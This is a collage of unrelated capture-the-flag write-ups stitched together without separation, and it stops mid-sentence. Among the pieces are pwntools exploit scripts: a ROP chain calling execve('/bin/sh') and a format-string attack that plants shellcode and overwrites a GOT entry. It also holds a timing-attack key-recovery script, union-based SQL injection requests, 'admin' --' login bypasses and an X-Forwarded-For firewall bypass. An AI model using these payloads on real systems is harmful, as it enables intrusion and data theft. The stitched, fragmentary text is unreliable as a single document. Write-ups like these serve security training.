## Problem Description ``` +++ Fireshell CTF - DUNGEON ESCAPE +++ [+] After being caught committing crimes, you were locked up in a really strange dungeon. You found out that the jailer is corrupt and after negotiating with him, he showed to you a map with all the paths and the necessary time to cross each one, and explained to you how the dungeon works. In some parts of the dungeon, there are some doors that only open periodically. The map looks something like this: 4 +-+ 1 +----------------------+3+-------------+ +-+ +-+ | |C| 2 +++ 4 +++ +-----------------+7+--------------------+ | 3 +-+ +-+ | +------------------+4| 12 +++ +-+--------------------------------------+E| +-+ [+] All doors start at time zero together and if a door has time equals to 3, this door will open only at times 0, 3, 6, 9, ... So if you reach a door before it is open, you will need to wait until the door is open. [+] So, with a map you organized the infos like the following: first it will be the number of doors and the number of paths. Second it will be a list with the time of all doors. After that each line will contains a path with the time needed to walk this path. For the last it will be the position of your cell (C) and the postion where it is the exit (E). [+] The jailer said that if you find out the minimum time from your cell to the exit, he will set you free. In the example, the minimum time is 11.``` ### Sample Input ```5 61 8 3 7 11 2 31 3 42 4 23 4 12 5 124 5 41 5``` ### Sample Output ```11``` ## Solution We can interpret it as a graph problem: each door is a vertex and each path is an undirected edge with a weight assigned. We are to find the shortest path between the nodes $C$ and $E$. Since we want to calculate the shortest path, [Dijkstra's algorithm](https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm) seems like a good idea. The only thing now is to handle the doors' open times. If we arrive at a door with open interval $t$ at time $x$, we have to wait until the time reaches a multiple of $t$ that is $\geq x$, which is $\left\lceil \frac{x}{t} \right\rceil t$. Therefore when arriving at a new node, we should set its distance to $\left\lceil \frac{x}{t} \right\rceil t$ instead of $x$ (as in the usual Dijkstra's). ### Code Here is a C++ implementation that passes all challenges. The code is not well-optimized for size or speed for the sake of readability. ```c++#include <bits/stdc++.h> using namespace std; typedef pair<int, int> pii; int n, m;vector<int> intervals;vector<vector<pii>> edges; int get_open_time(int time, int open_time) { if(time == 0) return 0; return ((time - 1) / open_time + 1) * open_time;} int solve(int start_node, int end_node) { priority_queue<pii, vector<pii>, greater<pii>> Q; vector<bool> visited(n + 1); Q.emplace(0, start_node); while(Q.top().second != end_node) { int dist = Q.top().first, node = Q.top().second; Q.pop(); if(!visited[node]) for(pii &edge : edges[node]) Q.emplace(get_open_time(dist + edge.second, intervals[edge.first]), edge.first); visited[node] = true; } return Q.top().first;} int main() { cin >> n >> m; intervals.resize(n + 1); for(int i = 1; i <= n; i++) cin >> intervals[i]; edges.resize(n + 1); for(int i = 1; i <= m; i++) { int u, v, w; cin >> u >> v >> w; edges[u].emplace_back(v, w); edges[v].emplace_back(u, w); } int start_node, end_node; cin >> start_node >> end_node; cout << solve(start_node, end_node) << '\n'; return 0;}``` ### Interaction Script (credit: lys0829) This task requires an interaction with the server. Here is a python script that works with the above solution. ```pyfrom pwn import * r = remote('142.93.113.55', 31085)r.sendlineafter('runaway: ', 'start') for chal in range(1, 51): try: # assume the compiled file is ./main sol = process('./main', level='error') print(f'Running on test {chal}') r.recvuntil(f'Challenge {chal}:') test = r.recvuntil('The answer is: ') sol.send(test) r.send(sol.recvline()) result = r.recvline() if 'Correct!' not in result.decode(): print(f'Wrong answer on test {chal}') exit(1) except Exception: print(f'Runtime error on test {chal}') exit(2) print(r.recvall().decode())# congratulations, you now have the flag!```
Simple GDB Scripting```import gdb class MyBreakPoint(gdb.Breakpoint): def stop(self): global state, bl, ans if state == 0: bl = gdb.parse_and_eval("$bl") state = 1 elif state == 1: state = 0 al = gdb.parse_and_eval("$al") ans.append(chr(bl^al)) return False state = 0bl = 0ans = []gdb.execute("b *0x4149B0")MyBreakPoint("*0x4020A7")MyBreakPoint("*0x40213b")gdb.execute("b *0x4021f3")gdb.execute("r <<< 'helloworld'")gdb.execute("set $rax=0")#gdb.execute("awatch *0x4149B0")gdb.execute("set $rax=0")gdb.execute("c")print("".join(ans))gdb.execute("q")```
# bof (211 solves) ```pythonfrom pwn import * debug = False def main(): if debug: r = process('pwnable') else: r = remote('binary.utctf.live', 9002) rop = b'' rop += b'A' * 120 # padding rop += p64(0x400693) # pop rdi rop += p64(0x400700) # /bin/sh rop += p64(0x400691) # pop rsi pop r15 rop += p64(0) # rsi rop += p64(0) # r15 rop += p64(0x400451) # ret rop += p64(0x400490) # execve r.sendline(rop) r.interactive() if __name__ == "__main__": main()``` ```$ lsflag.txt$ cat flag.txtutflag{thanks_for_the_string_!!!!!!} ```
Chall XTrade Fireshell CTF writeup> 1: The objective was: bypass the firewall (CpGuard) and get the points to buy the flag 2: Many players were being blocked by the firewall with each request, they would only be unlocked if they resolved ReCaptcha, while others, in some sessions only needed to resolve 1 to 2 times (another firewall bug). Bypass: To solve the chall, we would need to simulate the POST of the function that added the points and got 10.000 points. In order not to get blocked and not need to solve ReCaptcha, just send the header 'x-forwarded-for: 127.0.0.1' along with POST. Another way (hard way) was to try to solve ReCaptcha.
For this challenge, we are given a link to a live camera feed and are asked to find the country in which it is located. Link: http://81.82.201.132 We check where the IP of the camera feed is and find that the camera is located in Belgium. However, we can confirm it by digging deeper. The live view gives us access to move the camera. Originally, when we viewed the camera, it was night time. This didn't help much as it was dark and looking into the city had a bad glare. After viewing the camera at a later time, it was day time and this matches that the camera was in a European time zone. With sunlight we can see what is going on more clearly. Panning and tilting the camera all the way around, we find that we are in a city square and most buildings we see have Western Architecture, confirming our idea that we are in a European country. This is not a very large urban city, but we can still see a lot of buildings in the area. To our right, we have a park/forest and to our left, we have a lot of residential areas. The camera is on the roof/wall of a large building overlooking the area. Looking around, we find that we are on the roof of a church. In the center, one of the most distinct features we see is something that resembles a tower in front of a large building with corner turrets. We know that it is a fountain because there is a basin underneath. Across from us, we see many people driving and walking around and see many people going into the shops. We go through the list of fountains in Belgium, on https://commons.wikimedia.org/wiki/Category:Fountains_in_Belgium, and find that there is a match called The Marbol Fountain. Doing more research on the fountain, we find that it is located in the Grote Markt in Geraardsbergen. Going there on Google Maps confirms that we have correctly located the camera. Flag: riftCTF{Belgium}
Hey guys back with another set of few writeups. We ended 15th this time :smile: # **CRYPTO** ## Super Secure Safe-:> description: My friend , Anis_Bo$$ , has created a secure safe to hide his secret flag! The only hint he gave me is : " Tic Toc Tic Toc ...". I'm really lost .. Can you help me to find the way to break his safe and get the flag ? HINT: key length = 16 , lowercase .. Link - > https://web1.q20.ctfsecurinets.com/ Author: Tr'GFx ### Solution: When we open the website we get `Sorry , Missing Key !`. So let's send the key in headers then see what we can get `Get the fuck outta here`. So we need to send 16 length key and from the description we get the hint that it's something to do with clock or time. So I realized that its somewhat [Timing Attack](https://en.wikipedia.org/wiki/Timing_attack).Then sending the key as of 16 length and check for each character one by one. So the correct character will give the time delay on which we can work.Approximately one second is added for the correct character comparison. Storing the time delay on which we can select the next possible character. We can optimize it more if you know! :wink: Here is the [Script](assets/securesafe.py):```pythonimport requestsimport datetimeimport string URL="https://web1.q20.ctfsecurinets.com/"charset=string.ascii_lowercase key=""while len(key)<16: mx=0 rest='*' for i in charset: sent=key+i sent+="a"*(16-len(sent)) HEADERS = {'key':sent} r = requests.get(url = URL, headers = HEADERS) realtime=r.elapsed.total_seconds() if realtime>mx: mx=realtime rest=i print("The Current Time:"+str(realtime)+ " for "+ sent) # printing for debugging # 'Current Flag' key+=rest print('the final key',key)exit(0) ```It popped out the 16 length key : `gprzoygsdbfjzaeg` Then send this key to the server it will give the flag.```python HEADERS = {'key':key} r = requests.get(url = URL, headers = HEADERS)print(r.text)``` Here is our flag:`Securinets{iT$_@LL_@BouT_T1MiNG}`
# ws3 (211 solves) > What the... record.pcapng>> Author: JoshDaBosh We can clearly see that some github transmission is going on. Looking at the packets we can notice packets starting with **PACK** magic bytes. This is a github commit archive. Solution: In wireshark -> File -> Export objects -> save all. ```bashbinwalk -e *``` Next, we use binwalk to extract every archive. The largest extracted file is png image. ![678](images/678.jpg)
# zurk (84 solves) Description: > nc binary.utctf.live 9003 >> *by: hk* ```c++int main(int argc, const char **argv, const char **envp){ welcome(); // print welcome message while ( 1 ) do_move();}``` ```c++void do_move(){ char s[64]; // [rsp+0h] [rbp-40h] puts("What would you like to do?"); fgets(s, 0x32, stdin); s[strcspn(s, "\n")] = 0; if ( !strcmp(s, "go west") ) { puts("You move west to arrive in a cave dimly lit by torches."); puts("The cave two tunnels, one going east and the other going west."); } else if ( !strcmp(s, "go east") ) { puts("You move east to arrive in a cave dimly lit by torches."); puts("The cave two tunnels, one going east and the other going west."); } else { printf(s); // vulnurability puts(" is not a valid instruction."); }}``` Since the buffer on stack, we have simple write primitive ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments``` Since the binary has write execute (????) segment. We just write our shellcode from [here](http://shell-storm.org/shellcode/files/shellcode-806.php) to specified segment location. After that, we overwrite GOT puts with address of our shellcode and jump to it :) ```pythonfrom pwn import *import sysimport binascii base = 0x601101 # jump on me# http://shell-storm.org/shellcode/files/shellcode-806.phpshellcode = "\x31\xc0\x90\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" class Exploit: def __init__(self, debug=False): if debug: self.r = process('pwnable') else: self.r = remote('binary.utctf.live', 9003) self.count = 0 def send_data(self, data): self.r.sendlineafter('What would you like to do?\n', data) def write_short(self, addr, val): payload = '' addr_to_str = '{}'.format(val).zfill(10) payload += '%{}x%9$hn'.format(addr_to_str) payload += 'A' * 7 print(self.count) self.count += 1 payload += p64(addr) self.send_data(payload) def write_qword(self, addr, val): payload = '' addr_to_str = '{}'.format(val).zfill(10) payload += '%{}x%9$lln'.format(addr_to_str) payload += 'A' * 6 payload += p64(addr) self.send_data(payload) def attach(self): gdb.attach(self.r, 'b*0x400767') def run(self): # shellcode from above self.write_short(0x601101, 0xc031) self.write_short(0x601103, 0x4890) self.write_short(0x601105, 0xd1bb) self.write_short(0x601107, 0x969d) self.write_short(0x601109, 0xd091) self.write_short(0x60110b, 0x978c) self.write_short(0x60110d, 0x48ff) self.write_short(0x60110f, 0xdbf7) self.write_short(0x601111, 0x5453) self.write_short(0x601113, 0x995f) self.write_short(0x601115, 0x5752) self.write_short(0x601117, 0x5e54) self.write_short(0x601119, 0x9090) self.write_short(0x60111b, 0x3bb0) self.write_short(0x60111d, 0x050f) print('overwrite got') self.write_qword(0x601018, 0x601101) self.r.interactive() def main(): exp = Exploit() #exp.attach() exp.run() if __name__ == "__main__": sys.exit(main()) ``` ```$ lsflag.txt$ cat flag.txtutflag{wtf_i_h4d_n0_buffer_overflows}```
For this challenge, we are given an image of a camera feed and are asked to find the road outside the building where this camera is located. From the image of the feed, we see the words "The Birchmount Lofts" on the window. The skyline of Toronto is in the background and there is a cutout of a cat underneath. Looking up this information, we find that the Birchmount Animal Hospital has a resort experience for cats called The Birchmount Lofts. Link: https://vcacanada.com/birchmount/pet-resort/accommodations-feline We click on their locations tab and discover that their address is 1563 Birchmount Road, Scarborough, Ontario, M1P 2H4. Flag: riftCTF{Birchmount_Road}
# ▼▼▼A Peculiar Query(Web、180pts、74/1596=4.6%)▼▼▼This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf) `https://peculiarquery.2020.chall.actf.co/src` ↓ ```const express = require("express");const rateLimit = require("express-rate-limit");const app = express();const { Pool, Client } = require("pg");const port = process.env.PORT || 9090;const path = require("path"); const client = new Client({ user: process.env.DBUSER, host: process.env.DBHOST, database: process.env.DBNAME, password: process.env.DBPASS, port: process.env.DBPORT}); async function query(q) { const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`); return ret;} app.set("view engine", "ejs"); app.use(express.static("public")); app.get("/src", (req, res) => { res.sendFile(path.join(__dirname, "index.js"));}); app.get("/", async (req, res) => { if (req.query.q) { try { let q = req.query.q; // no more table dropping for you let censored = false; for (let i = 0; i < q.length; i ++) { if (censored || "'-\".".split``.some(v => v == q[i])) { censored = true; q = q.slice(0, i) + "*" + q.slice(i + 1, q.length); } } q = q.substring(0, 80); const result = await query(q); res.render("home", {results: result.rows, err: ""}); } catch (err) { console.log(err); res.status(500); res.render("home", {results: [], err: "aight wtf stop breaking things"}); } } else { res.render("home", {results: [], err: ""}); }}); app.listen(port, function() { client.connect(); console.log("App listening on port " + port);});``` --- ## 【Tried and error by building the local environment】 ```GET /?q=ttttttt'ttt HTTP/1.1Host: my_server ``` ↓ ```q=ttttttt'tttlength: 11q80=ttttttt****ret=SELECT name FROM Criminals WHERE name ILIKE 'ttttttt****%';``` ↓ Source code ``` // no more table dropping for you let censored = false; for (let i = 0; i < q.length; i ++) { if (censored || "'-\".".split``.some(v => v == q[i])) { censored = true; q = q.slice(0, i) + "*" + q.slice(i + 1, q.length); } }``` ↓ If `'-".` Exists, it will be filled with `*` --- Try sending in an array ↓ ```GET /?q=1&q=2&q=3 HTTP/1.1Host: my_server``` ↓ ```q=1,2,3length: 3TypeError: q.substring is not a function at /usr/src/index.js:49:10 at Layer.handle [as handle_request] (/usr/src/node_modules/express/lib/router/layer.js:95:5) at next (/usr/src/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/usr/src/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/usr/src/node_modules/express/lib/router/layer.js:95:5) at /usr/src/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/usr/src/node_modules/express/lib/router/index.js:335:12) at next (/usr/src/node_modules/express/lib/router/index.js:275:10) at SendStream.error (/usr/src/node_modules/serve-static/index.js:121:7)``` ↓ Arrays are concatenated,and Error in `q.substring` ↓ because q is not a String class --- `q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);`  ⇒ `*` is String. Avoid errors by concatenating String and characters to String Class ↓ ```GET /?q=1&q=2&q=3&q=' HTTP/1.1Host: my_server``` ↓ ```q=1,2,3,'length: 4q80=1,2,**ret=SELECT name FROM Criminals WHERE name ILIKE '1,2,**%';``` ↓ I was able to avoid the error!! --- ## 【exploit】 ```GET /?q=_%25%27--&q=&q=&q=&q=%27 HTTP/1.1Host: peculiarquery.2020.chall.actf.co``` ↓ ```Name Criminal Recordclam where's my million dollarskmh where's my million dollarsboshua where's my million dollarsderekthesnake where's my million dollarsJoe where's my million dollarsJohn where's my million dollarsJack where's my million dollarsJill where's my million dollarsJonah where's my million dollarsJeff where's my million dollarsaplet123 where's my million dollars``` ↓ All data was obtained. `SQL injection` was done --- ```GET /?q=_%27union%20select%20version()--&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=%27 HTTP/1.1Host: peculiarquery.2020.chall.actf.co``` ↓ ```Name Criminal RecordPostgreSQL 11.7 (Ubuntu 11.7-1.pgdg16.04+1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit where's my million dollars``` ↓ `version()` was obtained --- ```GET /?q=_%27union%20select%20concat(TABLE_NAME,COLUMN_NAME)%20from%20information_schema.columns--&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=%27 HTTP/1.1Host: peculiarquery.2020.chall.actf.co``` ↓ ```~(Omitted)~ <tr><td>criminalscrime</td><td>where's my million dollars</td></tr> <tr><td>criminalsname</td><td>where's my million dollars</td></tr>~(Omitted)~``` ↓ Column name is `crime` --- ```GET /?q=_%27union%20select%20crime%20from%20Criminals--&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=%27 HTTP/1.1Host: peculiarquery.2020.chall.actf.co``` ↓```~(Omitted)~actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u} ~(Omitted)~``` ↓ `actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u} `
For this challenge, we are given an image, test.jpg, and we are asked to find what county the factory is located in. Doing a reverse image search leads us to a website with info about historic sites in Pennsylvania. Link: https://pahistoricpreservation.com/2017-pennsylvania-risk-announced/ Result: Scrolling down to the image, we find out that it is the Kiddie Kloes Factory located in West Bertsch Street, Lansford Borough, Carbon County. Flag: riftCTF{Carbon_County}
For this challenge, we are given a jpg file. Analyzing the file, the symbols tell us that they represent an alphabet/substitution cipher. The hint is a reference to a line Caesar utters while being stabbed to death in the play Julius Caesar by William Shakespeare. Doing some research, we find that Caesar was stabbed to death by daggers and we discover there is an alphabet using daggers. Translating from the Daggers Alphabet to English, we get riftctfbonjourelliot. Flag: riftCTFbonjourelliot
For this challenge, we are given a wav file. Link: https://github.com/joeyjon123/riftCTF/blob/master/chall4.wav Listening to the audio, there doesn't seem to be anything unusual. Opening the file in Audacity and checking the spectrogram doesn't reveal the flag. We decide to run strings again just in case. Command and Results: https://github.com/joeyjon123/riftCTF/blob/master/stegstrings4.txt(Note: The file is very large and may not load on the browser. To view it, download the file and open it on your device.) The flag is the very last output. Flag: riftCTF{I_4m_th3_cr3at0r}
For this challenge, we are given a wav file. Link: https://github.com/joeyjon123/riftCTF/blob/master/chall3.wav Listening to the audio, there doesn't seem to be anything unusual. Our next step is to open the file in Audacity and check the spectrogram. We can read the flag from the spectrogram. Flag: riftCTF{Music_is_Fr33d0m}
For this challenge, we are given a jpg file. Analyzing the file, the symbols tell us that they represent an alphabet/substitution cipher. The hint tells us that it is another alphabet of some sort. Doing some research, we discover that the cipher is using the Hylian Alphabet from the video game series, Legends of Zelda. Translating from the Hylian Alphabet to English, we get riftctfsurvivalofthefittest. Flag: riftCTF{survival_of_the_fittest}
For this challenge, we are given a pdf of a confirmation statement for a company called Technology Services Limited. We also see that their company number is 01867162. We are told to find how much cash they have. Looking up Companies House and Technology Services Limited leads us to https://beta.companieshouse.gov.uk/company/01867162. One of the tabs on the website was filing history so it seemed like the answer would be there. The first document leads to the same pdf that we were given. The second document leads to a different pdf containing their latest balance sheet. Looking at the balance sheet, we see that they have £102,347 cash at the bank. Flag: 102.3
# picoCTF 2019 Web Challenges --- ## Inspector(50) ### Problem > Kishor Balan tipped us off that the following code may need inspection: `https://2019shell1.picoctf.com/problem/61676/` ([link](https://2019shell1.picoctf.com/problem/61676/)) or http://2019shell1.picoctf.com:61676 ### Hints > How do you inspect web code on a browser?>> There's 3 parts ### Solution Visiting the website, we right click and choose to view source code, getting the first third of the flag, included as a html comment: ```html ``` The second part of the flag comes from the referenced CSS file [mycss.cs](https://2019shell1.picoctf.com/problem/61676/mycss.css): ```CSS/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */``` The last part comes from the Javascript scipt [myjs.js](https://2019shell1.picoctf.com/problem/61676/myjs.js): ```javascript/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?1638dbe7} */``` Hence combining the 3 parts gives the flag: `picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?1638dbe7}` ## dont-use-client-side(100) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/49886/` ([link](https://2019shell1.picoctf.com/problem/49886/)) or http://2019shell1.picoctf.com:49886 ### Hints > Never trust the client ### Solution Opening the website greets us with a 'login' page, requiring credentials. As referenced by the problem name, we assume that the check for the validity of the credentials is checked locally, and hence can be reversed to obtain the correct password. Checking the html source code gives us: ```html<script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(0, split) == 'pico') { if (checkpass.substring(split*6, split*7) == 'e2f2') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(split*4, split*5) == 'ts_p') { if (checkpass.substring(split*3, split*4) == 'lien') { if (checkpass.substring(split*5, split*6) == 'lz_e') { if (checkpass.substring(split*2, split*3) == 'no_c') { if (checkpass.substring(split*7, split*8) == '4}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } }</script>``` The checkpass variable holds our input, and the each substring method in this case gets us *split*(set to 4) number of characters starting from the first argument to the method. We assemble the credentials, and hence the flag, accordingly: `picoCTF{no_clients_plz_ee2f24}` ## logon(100) ### Problem > The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? `https://2019shell1.picoctf.com/problem/32270/` ([link](https://2019shell1.picoctf.com/problem/32270/)) or http://2019shell1.picoctf.com:32270 ### Hints > Hmm it doesn't seem to check anyone's password, except for {{name}}'s? ### Solution No matter what credentials we use for the login, it successfully logs us in but doesn't give us the flag. This suggests that a cookie might be used to store a separate variable that might be preventing us from seeing the flag. Sure enough, we notice an admin cookie set to `False`. Changing this to `True` and refreshing the page gives us the flag: `picoCTF{th3_c0nsp1r4cy_l1v3s_a03e3590}` ## where are the robots(100) ### Problem > Can you find the robots? `https://2019shell1.picoctf.com/problem/21868/` ([link](https://2019shell1.picoctf.com/problem/21868/)) or http://2019shell1.picoctf.com:21868 ### Hints > What part of the website could tell you where the creator doesn't want you to look? ### Solution This challenge references [a file that gives instructions to web crawlers](https://www.robotstxt.org/robotstxt.html), called robots.txt. Visiting https://2019shell1.picoctf.com/problem/21868/robots.txt, we see ```htmlUser-agent: *Disallow: /e0779.html``` Visiting https://2019shell1.picoctf.com/problem/21868/e0779.html now, we get our flag: `picoCTF{ca1cu1at1ng_Mach1n3s_e0779}` ## Client-side-again(200) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/37886/` ([link](https://2019shell1.picoctf.com/problem/37886/)) or http://2019shell1.picoctf.com:37886 ### Hints > What is obfuscation? ### Solution Visiting the website, we are greeted by a page similar to [dont-use-client-side](#dont-use-client-side100). We thus check the source code of the website again, getting an obfuscation Javascript script: ```html<script type="text/javascript"> var _0x5a46=['9d025}','_again_3','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}</script>``` We however, notice the array at the very start, containg a few strings, including some that might be a part of the flag, such as `'picoCTF'` and `'not_this'`. Excluding the error.success/html strings, we are left with `'picoCTF{'`, `'not_this'`, `'_again_3'`, and `'9d025}'`. We try assembling these pieces, we get the flag. `picoCTF{not_this_again_39d025}` ## Open-to-admins(200) ### Problem > This secure website allows users to access the flag only if they are **admin** and if the **time** is exactly 1400. `https://2019shell1.picoctf.com/problem/21882/` ([link](https://2019shell1.picoctf.com/problem/21882/)) or http://2019shell1.picoctf.com:21882 ### Hints > Can cookies help you to get the flag? Visiting the website and clicking `Flag` tells us that we are not the admin, or it;s the incorrect time. From the challenge prompt, we know we need to be admin, and the time needs to be 1400. As hinted, we make a cookie named `Admin` with the value `True`, as seen in [logon](#logon100), and make a `Time` cookie with the value `1400`. Now clicking `Flag` gives us the flag: `picoCTF{0p3n_t0_adm1n5_b6ea8359}` ## picobrowser(200) ### Problem > This website can be rendered only by **picobrowser**, go and catch the flag! `https://2019shell1.picoctf.com/problem/37829/` ([link](https://2019shell1.picoctf.com/problem/37829/)) or http://2019shell1.picoctf.com:37829 ### Hints > You dont need to download a new web browser ### Solution Clicking `Flag` tells us that we are not picobrowser, and then gives us our current [user agent](https://www.wikiwand.com/en/User_agent): ![image-20191013130144946](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvt1ermj3130044js9.jpg) We can use an extension such as [User-Agent Switcher](https://chrome.google.com/webstore/detail/user-agent-switcher/lkmofgnohbedopheiphabfhfjgkhfcgf) on Google Chrome, to manually input our desired user agent. We use picobrowser as suggested and get the flag: `picoCTF{p1c0_s3cr3t_ag3nt_7e9c671a}` ## Irish-Name-Repo 1(300) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/47253/` ([link](https://2019shell1.picoctf.com/problem/47253/)) or http://2019shell1.picoctf.com:47253. Do you think you can log us in? Try to see if you can login! ### Hints > There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database?>> Try to think about how does the website verify your login? ### Solution The hint seems to suggest the use of [SQL injection](https://www.owasp.org/index.php/SQL_Injection), hence we start off by trying simple payloads: ```username: admin' --password: password(this field does not matter as it is commented out)``` This gives us the flag: `picoCTF{s0m3_SQL_93e76603}` ## Irish-Name-Repo 2(350) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/60775/` ([link](https://2019shell1.picoctf.com/problem/60775/)). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:60775 ### Hints > The password is being filtered. We start off by trying the same input as [Irish Name Repo 1](#irish-name-repo-1300): ```username: admin' --password: password(this field does not matter as it is commented out)``` This surprisingly gives us the flag as well! `picoCTF{m0R3_SQL_plz_015815e2}` With the hint to this challenge, I assume that Repo 1 was meant to be solved with an OR injection or something of the *like*. ## Irish-Name-Repo 3(400) ### Problem > There is a secure website running at `https://2019shell1.picoctf.com/problem/47247/` ([link](https://2019shell1.picoctf.com/problem/47247/)) or http://2019shell1.picoctf.com:47247. Try to see if you can login as admin! ### Hints > Seems like the password is encrypted. Since the password is hinted to be encrypted, we first check the page source for any signs of encryption to the input, however, do not see any. This means the encryption must be taking place server side. We want to leak the encryption method somehow, so we open [BurpSuite](https://portswigger.net/burp/communitydownload) to monitor the requests made to the site. We input some string(i.e. `abcdefghijklmnopqrstuvwxyz`) and submit the request. In BurpSuite, we notice a `debug` parameter, originally set to `0`. ![image-20191013133255579](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqv38rhfj30gw00ojrh.jpg) We change this to a `1`, and forward the request. Now in addition to the `Login failed` page, we get some debug info: ![image-20191013133400879](https://tva1.sinaimg.cn/large/006y8mN6gy1g7ws9jomqlj30z802qjrv.jpg) The 'encryption' method used is just [ROT13](https://www.wikiwand.com/en/ROT13)! We can thus craft our payloads normally, just running it through a ROT13 converter before sending it through. We utilise a simple payload that escapes the string and always evaluates to 